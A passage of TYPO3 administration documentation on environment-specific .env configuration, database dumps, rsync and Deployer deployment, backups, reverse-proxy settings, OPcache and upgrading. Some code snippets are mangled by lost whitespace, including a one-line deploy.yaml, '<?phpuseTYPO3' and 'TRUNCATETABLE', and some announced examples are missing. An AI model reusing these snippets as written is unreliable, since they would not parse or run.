<project-root>/.env
# Mail settings
TYPO3_MAIL_TRANSPORT="smtp"
TYPO3_MAIL_TRANSPORT_SMTP_SERVER="smtp.example.com:25"
TYPO3_MAIL_TRANSPORT_SMTP_USERNAME="info@example.com"
TYPO3_MAIL_TRANSPORT_SMTP_PASSWORD="verySafeAndSecretPassword0815!"# Database settings
TYPO3_DB_DBNAME="typo3"
TYPO3_DB_HOST="db.example.com"
TYPO3_DB_PASSWORD="verySafeAndSecretPassword0815!"
TYPO3_DB_USER="typo3"# Rootpath for files
TYPO3_BE_LOCKROOTPATH="/var/www/shared/files/"
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The next step is to retrieve these values in the TYPO3 application bootstrap
process. The best place for this is inside system/additional.php (see
System configuration files). The PHP code for this could look like:
Each environment would have its own .env file, which is only stored on
the corresponding target system. The development environment file could
be saved as .env.example or delivered as the default .env
in your project.
It is not recommended to store the actual .env file in your version control
system (e.g. Git), only an example without sensitive information. The main reason
is that these files usually hold credentials or other sensitive information.
You should only store environment-specific configuration values in such a
configuration file. Do not use this to manage all the TYPO3 configuration options.
Examples of well-suited configuration options:
The following sections describe this implementation process in depth.
.env / dotenv files
A central advantage of .env files is that environment variables can
also be set in Console commands (CLI) CLI context or injected via
Continuous Integration/Deployment (CI/CD) systems (GitLab/GitHub) or even
webserver configuration. It is also helpful to have a central place for
environment-specific configuration.
Once this code has loaded the content from the .env file into
$_ENV
variables, you can access contents of the variables anywhere you need.
helhum/dotenv-connect
You can also use https://github.com/helhum/dotenv-connector/ (via the Packagist
package helhum/dotenv-connector) to allow accessing
$_ENV variables
directly within the Composer autoload process.
This has two nice benefits:
You can even set the TYPO3_CONTEXT application context environment variable
through an .env file, and no longer need to specify that in your webserver
configuration (for example, via .htaccess or virtual host configuration).
You do not need to add and maintain such loading code to your additional.php
file.
The drawback is that you will have an additional dependency on another package, and
glue code that is outside of your own implementation.
Plain PHP configuration files
If the concept of requiring a specific file format and their loader dependencies
seems like too much overhead for you, something similar can be achieved
by including environment-specific PHP files.
For example, you can create a custom file like system/environment.php that
will only be placed on your specific target server (and not be kept in your versioning
control system).
Of course, you can move such a file to a special Shared/Data/ directory
(see Deploying TYPO3), as long as you take care the file is outside
your public web root directory scope.
The file additional.php can still contain custom changes that shall
be applied to every environment of yours, and that is not managed through
settings.php.
Hint
The file settings.php is used by TYPO3 to store changes made through
the GUI of the backend. additional.php always has the higher
priority, so configuration values there will overwrite the GUI configuration.
Best practices for managing multiple environments
TYPO3 projects often go through various stages, such as local development, integration, staging, and production.
For an overview of typical environment workflows, stable product promotion strategies, and team collaboration best practices,
refer to the following chapters:
Synchronizing database content across environments
TYPO3 projects not only involve managing code and configuration across multiple
environments but also database content and user data.
This chapter focuses on managing database schema and content,
covering strategies for synchronizing schema changes, handling personal
data responsibly, and managing content between development, staging,
and production systems.
The module is designed to work with structured data that is stored in
the TYPO3 database, such as:
Pages and their content elements
Records in system and extension tables
It can include referenced files, such as images or user uploads,
when these files are related to exported records. These files are bundled
alongside the .t3d export if the option to include files is selected.
Typical use cases include:
Moving page trees or content elements between systems.
Providing editors with content snapshots for review or duplication.
Exporting small sets of records along with their referenced files.
Limitations to consider:
Exported files may not capture all dependencies or extension-specific data.
It may not scale well for large datasets or complete site transfers.
Including large file sets can make exports unwieldy.
You can work with
Export Presets
to make export settings repeatable and consistent.
You can also use the
Command Line Interface
to automate exports in your CI/CD pipeline or to avoid PHP runtime limitations.
Reduced database dumps
In many projects, reduced database dumps can be used to create realistic
and privacy-compliant datasets for development or staging.
Typical strategies include:
Dumping only structure and selected content tables.
Excluding sensitive tables such as:
fe_users
be_users
sys_log
be_sessions
cache_*
Example mysqldump commands:
# Export the database structure only
mysqldump --no-data -u user -p database > structure.sql
# Export the data, excluding sensitive or unnecessary tables
mysqldump \
--ignore-table=database.fe_users \
--ignore-table=database.be_users \
--ignore-table=database.sys_log \
--ignore-table=database.be_sessions \
--ignore-table=database.cache_* \
-u user -p database > reduced_dump.sql
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Best practices for sharing database content across environment stages
Separate schema and data handling in your deployment workflow.
Avoid copying full production data without anonymization.
Use TYPO3 Import/Export for specific content migration.
Synchronizing user-uploaded files across environments
TYPO3 sites commonly include uploaded files, such as images, videos, and
documents. These files are typically stored in directories like fileadmin/
and other storage locations defined in the
File storage configuration.
While database records can be synchronized through exports or dumps,
synchronizing user-uploaded files across environments is different because
file references and media consistency need to be kept intact.
Files uploaded by backend users or editors in the TYPO3 backend,
such as images, PDFs, and videos used in page content.
Files uploaded by website visitors, for example through forms
and application processes (uploads, form attachments).
Automatically generated files, such as scaled or transformed images,
generated PDFs and cached previews.
Important
Static media assets such as CSS files, JavaScript, icons, or static
images should not be placed in `fileadmin/`.
These assets belong in the Resources/Public/ directory of your site
package or TYPO3 extension. This ensures that versioned, developer-maintained
resources are properly managed through your project’s codebase.
Use tools like Deployer, GitLab CI, or GitHub Actions with SSH or
rsync tasks.
Using filefill for media synchronization and placeholders
The extension
ichhabrecht/filefill
provides a convenient solution
for handling media files in non-production environments.
It can be configured to:
Fetch real files (such as images or videos) from a live environment,
if these are publicly accessible over HTTP.
Generate placeholder files when the real files are not available or
should not be copied.
This allows developers to work with realistic file structures without needing
to transfer full media sets or sensitive files. It ensures that file references
exist on disk, preventing broken links in the TYPO3 backend or frontend.
However, filefill only works with publicly accessible media files like
images or videos. It cannot synchronize non-media files, such as:
Form configuration files
Protected private storage files
Arbitrary file types that are not publicly accessible
You typically use filefill in development environments only.
It can be set using the ApplicationContext in your
config/system/additional.php:
Use NFS, cloud storage (S3), or other shared storage solutions.
Mount the same file storage across environments, if technically feasible.
Note
Sharing file storage between production and non-production environments
(such as staging or development) is not recommended.
Changes made in staging or development could accidentally delete,
overwrite, or expose files in production.
It is best practice to keep file storage fully isolated between
environments to ensure that testing and development activities do not
impact the live website.
If shared storage is unavoidable, make sure to:
Mount it read-only on non-production environments.
Provide clear backend warnings to prevent accidental changes.
Inform all users and developers about the risks.
Handling processed files and metadata consistency
TYPO3 generates processed files (such as scaled, cropped, or converted
images) and stores their metadata in the sys_file_processedfile table.
This creates a dependency between the file system and the database.
If you skip synchronizing processed files (for example, by excluding
_processed_ folders), TYPO3 will attempt to regenerate them when
they are requested. This may result in slower initial page loads
until all processed files are rebuilt.
If you synchronize the `_processed_` folder, you may transfer
large amounts of data, including stale or unnecessary files
that TYPO3 has not yet cleaned up.
TYPO3 uses the sys_file_processedfile table to track processed files.
If you copy only the database without the matching files, TYPO3 may reference
files that are no longer available.
Recommended approaches
Skip processed files and truncate the `sys_file_processedfile`
table to let TYPO3 regenerate them on demand:
TRUNCATETABLE sys_file_processedfile;
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Include processed files if you want to avoid runtime regeneration,
but consider cleaning up unnecessary files first to reduce data volume.
You can use rsync or file system cleanup tools to remove
outdated processed files before transferring them.
Balancing performance, storage size, and deployment speed
Based on the priorities set for your project, choose between:
Faster deployment and smaller storage, skip processed
files and truncate the table.
Faster page loads on first access, copy processed files along
with the table, but expect to handle larger data volumes.
Make sure your team is aware of the trade-offs and apply a consistent
strategy across all environments.
Anonymization or exclusion of user managed files
Review file content for personal or sensitive data.
Provide reduced or dummy file sets in non-production environments
when appropriate.
Inform clients or editors if files are excluded or replaced.
Relationship to database references
In TYPO3, user-uploaded and editor-managed files are typically
referenced in the database through the
File Abstraction Layer (FAL).
Common FAL-managed references include:
sys_file_reference records, which reference the UID of a `sys_file`
record to link files to content elements or other database records.
sys_file records, which store metadata about the actual file in
the file system (path, size, MIME type).
Best practice:
Extensions and custom code should always use FAL to manage file relations.
File paths should not be stored in custom database fields,
except in TYPO3’s sys_file table managed by FAL.
When synchronizing environments:
Ensure file references in sys_file_reference match existing UIDs in sys_file.
Ensure sys_file records ideally describe existing files on disk,
especially in production environments.
In development or staging, it is often acceptable to have incomplete
file presence, provided tools like filefill or placeholders
are used to simulate missing files.
Avoid broken references by making sure FAL metadata and file storage
correspond as much as possible depending on the purpose of the environment.
Verify that no file paths are directly hardcoded or stored in custom tables.
Broken or inconsistent references may result in missing media in the
frontend or backend and may require manual repair, re-indexing, or cleanup.
rsync is often used for small to medium-sized projects, or by teams who prefer
a controlled and scriptable way to deploy TYPO3 without setting up full
CI/CD systems. It can
also be part of automated workflows in larger or more complex environments.
By default, rsync only transfers changed files, compared to uploading zip or tar archives,
and avoids the need to unpack anything on the server.
Tools like
Deployer
or TYPO3 Surf
often use rsync internally to transfer files, but add features such as
automated deployment steps, release management, and rollback support on top.
Using rsync directly gives you full control over what is transferred and when,
but you are responsible for handling additional deployment tasks yourself.
Additional steps are required beyond file transfer. See also
Initial deployment.
Regular Deployments with rsync
On subsequent deployments you only have to deploy the files that contain the
code that you have developed locally. You do not want to override images that
your editors have uploaded in the backend.
Run the command from your local development environment
There are additional steps needed beyond file transfer. See also
Regular deployment.
As the steps of a regular deployment have to be repeated many times during the
lifetime of a TYPO3 project, it is helpful to bundle the instructions into a recipe
and let Deployer
do the work for you.
Syncing fileadmin from production to local
In addition to deploying files to the server, you may also want to transfer
editor-generated content such as images and documents back into your local
development environment. This is useful, for example, when debugging issues
with specific media files or previewing content changes made on production.
To sync the fileadmin/ folder from the production server to your local
TYPO3 setup:
Assuming:
Your production server is user@example.org
The project is located at /var/www/typo3-site/ on the server
Your local development environment is at ~/Projects/typo3-site/
Run the command from your local development environment
This command will only copy changed files and will preserve the directory structure.
It does not delete local files unless you explicitly add the --delete flag.
To preview changes before syncing, you can use --dry-run:
Run the command from your local development environment
This recipe extends Deployer's capabilities to cover TYPO3 projects.
It includes advanced features like database and file synchronization,
multi-environment support, and integration with the TYPO3 Console.
If you have created your project using the
official GitLab template,
it will already contain a Deployer template.
You can configure Deployer by editing the YAML configuration file
deploy.yaml in the project root. The Deployer recipe is found in
packages/site-distribution/Configuration/DeployerRsync.php.
The project also contains a .gitlab-ci.yml for automated deployment.
To start using Deployer, deploy.yaml should look like this:
deploy.yaml
# Deployer Docs https://deployer.org/docs/7.x/basicsimport:-packages/site-distribution/Configuration/DeployerRsync.phpconfig:repository:'.'# Stays as-is if deploying the current projectwritable_mode:'chmod'# Usually fine unless you have ACL or other needsbin/php:'php'# Adjust if PHP is not available as 'php' on remotebin/composer:'{{bin/php}} /usr/bin/composer'# Adjust path if composer lives elsewherehosts:staging:hostname:staging.example.com# Replace with your staging server hostname or IPremote_user:deploy# Replace with your SSH userdeploy_path:/var/www/staging-project# Replace with target directory on remote serverrsync_src:'./'# Usually './' is correct (deploys the current dir)ssh_multiplexing:false# Usually fine as-isphp_version:'8.2'# Just metadata, but can be used in your recipeproduction:hostname:www.example.com# Replace with your production server hostname or IPremote_user:deploy# Replace with your SSH userdeploy_path:/var/www/production-project# Replace with target directory on remote serverrsync_src:'./'# Usually './' is correct (deploys the current dir)ssh_multiplexing:false# Usually fine as-isphp_version:'8.2'# Just metadata, but can be used in your recipe
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Official Deployer recipe for TYPO3 <= 11.5
Attention
This recipe can only be used for TYPO3 versions up to 11.5.
However, this recipe is only correct for TYPO3 projects up to version 11.5,
using the classic directory structure.
For newer TYPO3 versions with Composer-based setups, this recipe requires manual changes.
You can configure these stages for automated deployment each time code is pushed
to your repository.
Deployer's SSH requirements
Deployer will connect to your servers via SSH. You must ensure that your
deployment user has passwordless SSH access to the target server.
You can test SSH access with:
ssh <your-ssh-user>@<your-server>
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If you can connect without entering a password, SSH is correctly set up.
Typically your SSH key is managed via your local SSH agent, for example:
eval $(ssh-agent -s)
ssh-add ~/.ssh/id_rsa
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You may also need to add your server to the known hosts file:
ssh-keyscan <your-server> >> ~/.ssh/known_hosts
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Deploying TYPO3 Using Git and Composer
This guide describes how to deploy a TYPO3 project directly onto your server
using Git and Composer, without the need for additional deployment tools.
This method is simple to set up and requires no external deployment services,
but it does require Git and Composer to be installed on the server and may cause
downtime during updates.
For a detailed comparison with other deployment methods, including Deployer
and rsync, see section
Comparison of deployment methods.
Quick start: Deploy with Git and Composer
Execute the following in the folder into which your project was originally
cloned. The folder must
contain the .git directory.
The server has PHP, Composer, Git, and other required system packages installed.
Shell (SSH) access to the server to run deployment commands.
Step 1: Clone or update the repository
First-time setup:
git clone <your-git-repository-url> /var/www/your-project
cd /var/www/your-project
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On subsequent deployments:
cd /var/www/your-project
git pull
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Step 2: Install production dependencies
Install only production-relevant packages by running:
composer install --no-dev --ignore-platform-reqs
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Parameter --no-dev excludes development packages. If the PHP version running
on the console and the PHP version running on the server differ, you may need
to use --ignore-platform-reqs to skip platform checks.
Step 3: Run TYPO3 maintenance commands
Apply database schema updates if required:
vendor/bin/typo3 database:updateschema
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Clear TYPO3 caches:
vendor/bin/typo3 cache:flush
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Optional: Run project-specific tasks as needed.
CI/CD: Automatic deployment for TYPO3 Projects
Continuous Integration (CI) and Continuous Deployment/Delivery (CD)
are development practices that automate the process of building, testing,
and deploying code. Implementing CI/CD for TYPO3 projects ensures higher
quality releases, faster feedback loops, and lower risk of introducing bugs.
TYPO3 is a powerful, enterprise-level CMS written in PHP. TYPO3 projects
often involve custom extensions, configuration management (TypoScript, YAML config),
and complex deployment workflows. Manual deployment increases the risk of
human error, environment inconsistencies, and delayed releases. CI/CD
automates these concerns.
Installing required extensions and other PHP packages via Composer
Compile frontend assets (e.g., SCSS, JavaScript) using tools like
Webpack, Gulp or Vite.
Deployment
File Synchronization: Deploy code and assets using tools like Rsync,
Deployer,
or Git-based workflows.
Database Migrations: Run database migrations using TYPO3’s
vendor/bin/typo3 extension:setup or
vendor/bin/typo3 database:updateschema if
helhum/typo3-console
is installed.
Include composer.json, composer.lock, config/, packages, and
deployment scripts.
Use Environment Variables
Never hardcode environment-specific values.
Keep Builds Reproducible
Lock dependencies with composer.lock.
Automate Database Migrations
Apply migrations as part of the deployment step.
Fail Fast
Ensure the pipeline stops on errors in quality checks or tests.
Use Staging Environments
Test changes in staging before promoting to production.
Deploying TYPO3 as a Docker container
Warning
This section is experimental and under active development.
Content is incomplete and may change as best practices evolve.
Want to help improve this section? TYPO3 documentation contributions are
welcome! If you have deployment experience, examples, or corrections,
please consider submitting a pull request or opening an issue on GitHub.
Docker is a modern and flexible way to deploy TYPO3 projects in both development
and production environments.
This page serves as an entry point for Docker-based deployment strategies. It
links to best practices and practical advice for building, running, and
maintaining TYPO3 instances in containers.
For in-depth information, see the main Docker chapter:
This chapter contains information on how to configure and optimize the infrastructure
running TYPO3 for production.
Security considerations
Even though TYPO3 follows modern security practices by default,
system administrators and integrators must take responsibility for
secure configuration and operations in production environments.
Learn how to create secure, restorable backups of your TYPO3 project.
Covers essential data, file structure differences, database dumps,
storage strategies, and long-term retention.
Backups are a critical part of any TYPO3 project and are usually the
responsibility of the system administrator. Hosting providers may offer
automated backups, especially on shared or managed hosting, but you should
never assume these exist, are up to date, or can be restored—always verify.
While backups do not prevent attacks, they are essential for recovery after
data loss, hardware failure, or a security breach. A working and tested backup
is often the fastest way to restore your site.
Warning
Never store backups inside the web server’s document root.
They may expose sensitive data if publicly accessible.
The required backup components depend on your installation method and how your
project is structured.
Essential backup items (all installations)
The following must be included in all TYPO3 backups, regardless of the
installation type:
The database – contains all content, page structure, users, and records
fileadmin/ – user-uploaded files (images, PDFs, etc.) You may exclude
subdirectories like _processed_ that TYPO3 can regenerate.
Any additional file storages configured in TYPO3 (e.g. media folders,
mounted volumes, or cloud-based storage backends)
Log files – may be required for audits or forensic analysis after an incident
For Composer-based setups: logs are usually found in var/log/
For classic installations: logs may be under typo3temp/var/log/
TYPO3 installations may use multiple file storage locations for managing files.
Be sure to identify and back up all relevant locations defined in your instance’s
File storage
configuration.
Classic-mode installations (non-Composer)
For classic (non-Composer) installations, also back up:
typo3conf/ – contains extensions, configuration, and language files
This directory typically includes locally installed extensions and custom
configuration. If these files are not tracked in version control, they
must be included in your backup to ensure the site can be restored completely.
Composer-based installations
For modern, Composer-based TYPO3 projects, the structure separates the
project root (code and configuration) from the public document root.
Back up the following:
config/ – contains system settings and site configuration
public/fileadmin/ – public content files
var/ – optional, useful if you want to preserve logs or session data;
otherwise, it can usually be regenerated automatically
When using version control (Git)
If your Composer-based project uses Git (or another VCS), and your
config/, composer.json, and custom extensions / site packages
are committed:
You do not need to include these files in your backups
Ensure the repository is complete and regularly pushed to a secure remote
Focus your backup on content, assets, and the database
These directories are usually not necessary in backups but can be included
if needed. There is no harm in backing them up, though it may increase
backup size and time without adding much benefit.
typo3temp/, var/ – these contain temporary data that TYPO3
regenerates automatically. However, if log files are stored here
(e.g., var/log/), consider backing them up separately.
TYPO3 Core source code – can be reinstalled unless it has been modified
(which is strongly discouraged).
fileadmin/_processed_/ – contains resized and transformed image
variants. These can be safely excluded from backups, as TYPO3 regenerates
them automatically when needed.
Backing up the database
Create regular database dumps as part of your backup strategy.
For MySQL:
Use mysqldump to export the database as a dump file
Automate exports using cron jobs or scheduled tasks
Verify that all tables are included and that encoding and collation are consistent
TYPO3 stores many non-critical records in cache-related tables (for example,
cache_pages, cache_rootline, or cf_*). These tables can be excluded from
backups to reduce size and restore time. TYPO3 will automatically rebuild
cache tables after a successful restore.
Note
Do not attempt to back up only the raw database files (such as .ibd or .frm files).
This approach is unreliable and may result in a corrupted or incomplete database if
the server is running during the backup. Use logical dumps (mysqldump) or other
hot backup tools designed for your database system.
Verifying your backups
Always test your backups to ensure they can be restored.
Best practices:
Restore to a separate environment and check the site for errors or missing data
Perform restoration tests regularly
Ensure both files and database are recoverable
A backup is only useful if it works when you need it.
Backup frequency and retention strategy
Create backups regularly — at least once per day, ideally during low-traffic hours.
Keep multiple backup versions over time, rather than overwriting previous ones.
A common rotation strategy might include:
One daily backup for the past 7 days
One weekly backup for the past 4 weeks
One monthly backup for the past 6 months
One yearly backup for each of the last few years
This approach balances storage usage with the ability to restore older states if needed.
Backups are often created and stored on the same server as the TYPO3 instance.
This is convenient but risky: hardware failure or a server compromise could
destroy both the live site and the backups.
To reduce risk:
Copy backups to an external system
Prefer pulling backups from the TYPO3 server instead of pushing them
Ensure the external system is isolated from the production environment
External storage should also be physically separate to protect against events
like fire or flooding.
Check your hosting contract carefully. Even if backups are offered, they may
not be guaranteed or restorable. It is best practice to manage your own
backups and transfer them offsite regularly.
If you store backups on the production server, keep them outside the web root
to prevent public access. Sensitive data—such as credentials or personal
information—must never be downloadable via URL. Obscure folder names are not
a valid security measure.
Encrypt and scale your backup strategy
More advanced backup strategies—such as incremental backups, geographic
distribution, and rotating snapshots—are possible and may be appropriate for
larger or high-availability projects. However, these approaches are beyond the
scope of this guide.
Because TYPO3 backups often contain sensitive information (such as backend user
accounts, configuration data, or customer records), it is strongly recommended
to encrypt backup files, especially when stored offsite or transferred across
networks.
Attention
For mission-critical projects, treat backups as part of your overall
security and disaster recovery strategy.
Security considerations for administrators
Running TYPO3 in a production environment requires careful planning around
security. While TYPO3 follows modern best practices by default, there are
still important areas where system administrators and integrators must take
explicit action.
Running TYPO3 behind a reverse proxy or load balancer
When running TYPO3 behind a reverse proxy or load balancer in a production
environment, you may encounter issues that are difficult to reproduce in a
local setup.
Please refer to the documentation of that server on what exact settings are needed.
If you deploy the config/system/additional.php or have it container in a custom
Docker image you can, for example, use the
Application Context
to limit the reverse proxy settings to the production environment:
config/system/additional.php
<?phpuseTYPO3\CMS\Core\Core\Environment;
if (Environment::getContext()->isProduction()) {
$customChanges = [
// Database Credentials and other production settings'SYS' => [
'reverseProxySSL' => '192.0.2.1,192.168.0.0/16',
],
];
$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], (array)$customChanges);
}
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You can also use environment variables for configuration
See also
The following settings in
$GLOBALS['TYPO3_CONF_VARS']['SYS'] :
In production environments, always use specific IP addresses or CIDR ranges
rather than wildcards.
Omitting parts of the IPv4 address acts as a wildcard (for example 192.168 is
equivalent to 192.168.*.*). However, using the equivalent CIDR notation
(192.168.0.0/16) is the recommended and standardized approach.
Note that IPv6 addresses are supported only with CIDR notation, not wildcards.
Common problems when using a reverse proxy
TYPO3 installations behind an improperly configured reverse proxy may exhibit
issues such as:
Exceptions such as
\TYPO3\CMS\Core\Http\Security\MissingReferrerException
Redirects to the wrong scheme (http instead of https)
Backend login / Install tool login failures or redirect loops
These problems often point to missing or untrusted forwarded headers, or a
mismatch between the trusted host settings and the actual domain used.
Tuning OPcache to improve performance
It is recommended that OPcache be enabled on the web server running TYPO3. OPcache's
default settings will provide significant performance improvements; however there are
some changes you can make to help further improve stability and performance. In addition
enabling certain features in OPcache can lead to performance degradation.
Below is list a of OPcache features with information on how they can impact TYPO3's performance.
opcache.save_comments
opcache.save_comments
Default
1
Recommended
1
Setting this to 0 may improve performance but some parts of TYPO3 (including Extbase)
rely on information stored in phpDoc comments to function correctly.
opcache.use_cwd
opcache.use_cwd
Default
1
Recommended
1
Setting the value to 0 may cause problems in certain applications because files
that have the same name may get mixed up due to the complete path of the file not
being stored as a key. TYPO3 works with absolute paths so this would
return no improvements to performance.
opcache.validate_timestamps
opcache.validate_timestamps
Default
1
Recommended
1
While setting this to 0 may speed up performance, you must make sure to
flush opcache whenever changes are made to the PHP scripts or they will not
be updated in OPcache. This can be achieved by using a proper deployment
pipeline. Additionally, some files can be added to the blacklist, see opcache.blacklist_filename for more information.
opcache.revalidate_freq
opcache.revalidate_freq
Default
2
Recommended
30
Setting this to a high value can improve performance but shares the same issue
when setting validate_timestamps to 0.
opcache.revalidate_path
opcache.revalidate_path
Default
1
Recommended
Setting this value to 0 should be safe with TYPO3. This may be a problem if
relative path names are used to load scripts and if the same file exists several
times in the include path.
opcache.max_accelerated_files
opcache.max_accelerated_files
Default
10000
Recommended
10000
The default setting should be enough for TYPO3, but this depends
on the number of additional scripts that need to be loaded by the system.
This chapter details how major upgrades are installed using Composer and
highlights what tasks need to be carried out before and after the core is updated.
Before upgrading TYPO3 to a major release, there are several tasks that can be performed
to help ensure a successful upgrade and help minimise any potential downtime.
Make a backup first! If things go wrong, you can at least go back to the old
version. You need a backup of
all files of your TYPO3 installation (by using FTP, SCP, rsync, or any other
method)
the database (by exporting the database to an SQL file)
Also, you may prefer to upgrade a copy of your site first, if there have been a
lot of changes and some of them might interfere with functions of your site.
See the changelog to check that.
For more detailed information about TYPO3 backups see Backups and recovery
in TYPO3 Explained.
Update Reference Index
Tip
As the reference index might take some time, especially on instances not
running it regularly, an upgrade via
command line (CLI) is
recommended to avoid a timeout.
With command line (recommended)
To run the reference index update, execute in the root folder of your project:
vendor/bin/typo3 referenceindex:update
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typo3/sysext/core/bin/typo3 referenceindex:update
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Tip
Use
referenceindex:update 2> /dev/null to suppress the progress
output, for example, if the command is executed by a cronjob.
Without command line
Still in your old TYPO3 version, go to the
System > DB check module and use the
Manage Reference Index function.
Click on Update reference index to update the reference index. In
case there is a timeout, and you do not have CLI access (see above) you might
have to run the update multiple times.
In addition to the deprecations you may want to read the information about important
changes, new features and breaking changes for the release you are updating to.
The changelog is divided into four sections "Breaking Changes", "Features", "Deprecation" and
"Important". Before upgrading you should at least take a look at the sections "Breaking Changes"
and "Important" - changes described in those areas might affect your website.
Tip
Breaking changes should be of no concern to you if you already handled the
deprecations before upgrading.
The detailed information contains a section called "Affected Installations" which contains hints
whether or not your website is affected by the change.
There are 3 different methods you can use to read the changelogs:
Look through the changelogs
online. This has the advantage that code blocks will be formatted nicely with
syntax highlighting.
Read the changelogs in the backend: Upgrade > View Upgrade Documentation.
This has the advantage that you can filter by tags and mark individual changelogs
as done. This way, it is possible to use the list like a todo list.
If you notice some API you are using is deprecated, you should look up the
corresponding changelog
entry and see how to migrate your code corresponding to the documentation.
Since TYPO3 v9 an extension scanner is
included, that provides basic scanning of your extensions for deprecated code.
While it does not catch everything, it can be used as a base for an upgrade. You
can either access the extension scanner via the TYPO3 admin tools (in the
Backend: Module "Upgrade" > "Scan Extension Files")
or as a standalone tool (https://github.com/tuurlijk/typo3scan).
The extension scanner will show the corresponding changelog which contains
a description of how to migrate your code. See Check the ChangeLog
for more information about the changelogs and how to read them.
In addition, you can use the tool typo3-rector
to automatically refactor the code for a lot of deprecations.
Note
TYPO3 aims at providing a reliable backwards compatibility between versions:
Minor versions are always backwards compatible - unless explicitly stated
otherwise (for example in case of security updates)
Major versions may contain breaking changes - normally these are
deprecated one major version in advance
Most breaking changes usually happen in the first Sprint Release
If PHP classes, methods, constants, functions or parameters are to be
removed, they will be marked as deprecated first and not removed until the
next major release of TYPO3. For example: a method that gets deprecated in
version 12.3.0 will remain fully functional in all 12.x.y releases, but will
be removed in version 13.
This strategy gives developers sufficient time to adjust their TYPO3
extensions, assuming many agencies upgrade from one LTS release to the next
(usually 1.5 years).
Upgrade the Core
Upgrading to a major release using Composer
This example details how to upgrade from one LTS release to another. In this
example, the installation is running TYPO3 version 12.4.25 and the new LTS
release is version 13.4.3.
Check the required PHP version
On https://get.typo3.org/ you can find the required PHP versions to run a
certain TYPO3 version. For example TYPO3 13 requires at least PHP 8.2.
How to switch your PHP version depends on the hosting you are using. Please
check with your hosting provider.
Check which TYPO3 packages are currently installed
TYPO3's Core contains a mix of required and optional packages. For example,
typo3/cms-backend is a required package. typo3/cms-sys-note is an optional
package and does not need to be installed for TYPO3 to work correctly.
Prior to upgrading, check which packages are currently installed and make a note
of them.
Running
composer info "typo3/*" will output a list of all TYPO3 packages that
are currently installed.
Running
composer require
To upgrade a Composer package, run
composer require with the package name and
version number.
For example, to upgrade typo3/cms-backend run
composer require typo3/cms-backend:^13.4.
When upgrading to a new major release, each of TYPO3's packages will need to be
upgraded.
Given that a typical installation of TYPO3 will consist of a number of packages,
it is recommended that the Composer Helper Tool
be used to help generate the Composer upgrade command.
Note
With TYPO3 v12 the typo3/cms-recordlist package was merged into
typo3/cms-backend. With TYPO3 v13 the typo3/cms-t3editor package was
merged into typo3/cms-backend. Therefore, if you have one of them
installed, remove them in your composer.json file before upgrading:
A typical TYPO3 installation is likely to have multiple third-party extensions
installed and running the above command can create dependency errors.
For example, when upgrading from TYPO3 v12 LTS to v13 LTS an error can occur
stating that "helhum/typo3-console": "^8.1" is only compatible with v12 LTS,
with the new version ^9.1 supporting TYPO3 v13 LTS.
For each of these dependency errors, add the version requirement
"helhum/typo3-console:^9.1" to the end of your
composer require string
and retry the command.
Monitoring changes to TYPO3's Core
The system extensions that are developed and exist within TYPO3's Core
are likely to change over time. Some extensions are merged into others, new
system extensions are added and others abandoned.
Once the upgrade is complete, there are a set of tasks that need to actioned to
complete the process. See Post-upgrade tasks.
Post-upgrade tasks
Run the upgrade wizard
Enter the Install Tool at https://example.org/typo3/install.php on your
TYPO3 site.
The "Upgrade Wizard" in the Install Tool.
TYPO3 provides an upgrade wizard for easy upgrading. Go to the Upgrade
section and choose Upgrade Wizard.
Take a look at the different wizards provided. You should go
through them one by one.
You must start with Create missing tables and fields
if it's displayed, which adds new tables and columns to the database.
Click Execute. Now all ext_tables.sql files from core and extensions
are read and compared to your current database tables and columns. Any missing
tables and columns will be shown and you'll be able to execute queries
sufficient to add them.
After you added these tables and columns, go on to the next wizard.
Hint
If you have CLI access you can run the update wizards on command line, too.
This allows you to run all upgrade wizards at once and might help with
long-running wizards that may fail because of webserver timeouts otherwise.
For Composer mode
Run
./vendor/bin/typo3 upgrade:list -a to show a complete status of
upgrade wizards.
Use
./vendor/bin/typo3 upgrade:run <wizardName> to run a specific wizard.
Use
./vendor/bin/typo3 upgrade:run to run all wizards.
For Classic mode (non-Composer mode) replace
./vendor/bin/typo3 with
./typo3/sysext/core/bin/typo3.
The "Version Compatibility" wizard sets the compatibility version of your TYPO3
installation to the new version. This allows your frontend output to use new
features of the new TYPO3 version.
Note
This wizard might affect how your website is rendered. After finishing
the upgrade, check that your website still displays the way it is
supposed to be and adjust your TypoScript if necessary.
Go through all wizards and apply the (database) updates they propose. Please
note that some wizards provide optional features, like installing system
extensions that you may not need in your current
installation, so take care to only apply those wizards, which you really need.
Apply the optional wizards too - just be sure to select the correct option
(e.g. "No, do not execute"). This way, these wizards will also be removed from
the list of wizards to execute and the upgrade will be marked as "done".
After running through the upgrade wizards go to Maintenance >
Analyze Database Structure.
You will be able to execute queries to adapt them so that the tables and
columns used by the TYPO3 Core correspond to the structure required for the new
TYPO3 version.
Note
If you don't know the current Install Tool password,
you can set a new one by entering one in the Install Tool login screen,
hitting enter and then setting the displayed hash as value
of
$GLOBALS['TYPO3_CONF_VARS']['BE']['installToolPassword']
in config/system/settings.php.
Note
There is an extension
wapplersystems/core-upgrader
. It contains
upgrade wizards older than two TYPO3 versions. It can be used to migrate the
data of installations that need to be upgraded more than two major versions at once.
Run the database analyser
While in the previous step, tables and columns have been changed or added to
allow running the upgrade wizards smoothly. The next step gives you the
possibility to remove old and unneeded tables and columns from the database.
Use the "Maintenance section" and click "Analyze Database".
You will be able to execute queries to remove these tables and columns so that
your database corresponds to the structure required for the new TYPO3 version.
Warning
Be careful if you have deliberately added columns and/or tables to your
TYPO3 database for your own purposes! Those tables and columns are removed
only if you mark them to be deleted of course, but please be careful that
you don't delete them by mistake!
Note
TYPO3 does not directly remove tables and fields, but first renames them
with a prefix zzz_deleted_*. This allows checking whether the fields and
tables really are not needed anymore or were accidentally marked as deleted
by wrong configuration.
When you are sure you aren't going to need them anymore, you can drop them
via the wizard.
Select the upgrades you want and press "Execute":
The Database Analyzer
When you then click "Compare current database with specification" again and you
only see the message
The Database Analyzer with no updates to do
then all database updates have been applied.
Clear user settings
You might consider clearing the Backend user preferences. This
can avoid problems, if something in the upgrade requires this. Go to
"Clean up", scroll to "Reset user preferences" and click "Reset backend
user preferences".
The option "Reset Backend User Preferences" in the Install Tool
Clear caches
You have to clear all caches when upgrading.
Go to the Admin Tools > Maintenance backend module and click on the
Flush cache button:
The option "Flush" in the Admin Tool.
Additionally, after an upgrade to a new major version, you should also delete
the other temporary files, which TYPO3 saves in the typo3temp/ folder.
In the Admin Tools > Maintenance module click on the
